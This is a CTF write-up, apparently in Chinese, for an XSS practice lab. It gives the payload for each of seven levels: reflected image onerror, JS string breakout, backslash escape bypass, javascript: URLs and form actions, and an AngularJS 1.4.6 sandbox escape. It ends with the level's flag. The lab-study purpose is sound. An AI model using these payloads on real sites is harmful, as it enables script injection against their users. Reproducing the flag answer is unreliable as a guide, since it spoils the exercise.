☰
XSS1_CTF2
2026/10/28 10:26:36 网站建设 项目流程

靶场环境:XSS配套测试平台

环境展示:

页面是一个xss系列的游戏通关模式

通关过程

Level 1:服务端直接反射

/level1?username=<img src=x onerror=alert(1)>
页面原样输出:
<span class="a-TplField">welcome <img src=x onerror=alert(1)></span>
触发 XSS。


Level 2:JS 字符串闭合

页面代码:
var username = 'xss';
document.getElementById('ccc').innerHTML = "Welcome " + escape(username);
username 被原样拼进单引号字符串。

Payload:
/level2?username=';alert(1)//
实际变成:
var username = '';alert(1)//';
// 注释掉后面的引号,成功执行。

Level 3:反斜杠绕过转义


Level 3 对单引号做了转义,输入:
';alert(1)//
会变成:
var username = '\';alert(1)//';
单引号被 \ 转义,闭合失败。
用反斜杠 + 单引号绕过:
/level3?username=\';alert(1)//
实际变成:
var username = '\\';alert(1)//';
\\ 是一个反斜杠,后面的 ' 成功闭合字符串,alert(1) 执行。

Level 4:javascript: 伪协议


页面会取 jumpUrl,倒计时 10 秒后执行:
location.href = jumpUrl;
Payload:
/level4?jumpUrl=javascript:alert(1)
等 10 秒后自动触发。

Level 5:自动提交表单 + javascript: action


页面逻辑:
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false)
? location.href
: getQueryVariable('action');
autoForm.submit();
}
直接让表单 action 变成 javascript::
/level5?autosubmit=1&action=javascript:alert(1)


注意这里是浏览器端读取 location.search,所以 : 不要写成 %3A,否则会变成普通字符串。

Level 6:AngularJS 1.4.6 模板注入 + 沙箱逃逸


页面引入了:
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
...
<div id="root" ng-app="">
并且 username 会被反射进 ng-app 内部,AngularJS 会把它当模板表达式执行。
AngularJS 1.4.6 有表达式沙箱,直接 {{constructor.constructor('alert(1)')()}} 会被拦。

用经典的 charAt 沙箱逃逸:
/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

原理:
1. 把 String.prototype.charAt 覆盖成 [ ].join,让 Angular 的 isIdent() 判断失效;
2. 再用 $eval() 执行字符串;
3. 字符串里的 x=1} } }; 用来闭合 Angular 生成的函数,然后执行 alert(1)。
这一关实测在 Chrome + AngularJS 1.4.6 下可用。

Level 7:拿 flag
前面任意一关触发 alert(1) 后会自动跳到下一关,过完 Level 6 就到:
/level7
直接返回:
you win!
here is your flag : n1book{xss_is_so_interesting}

Payload 汇总

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询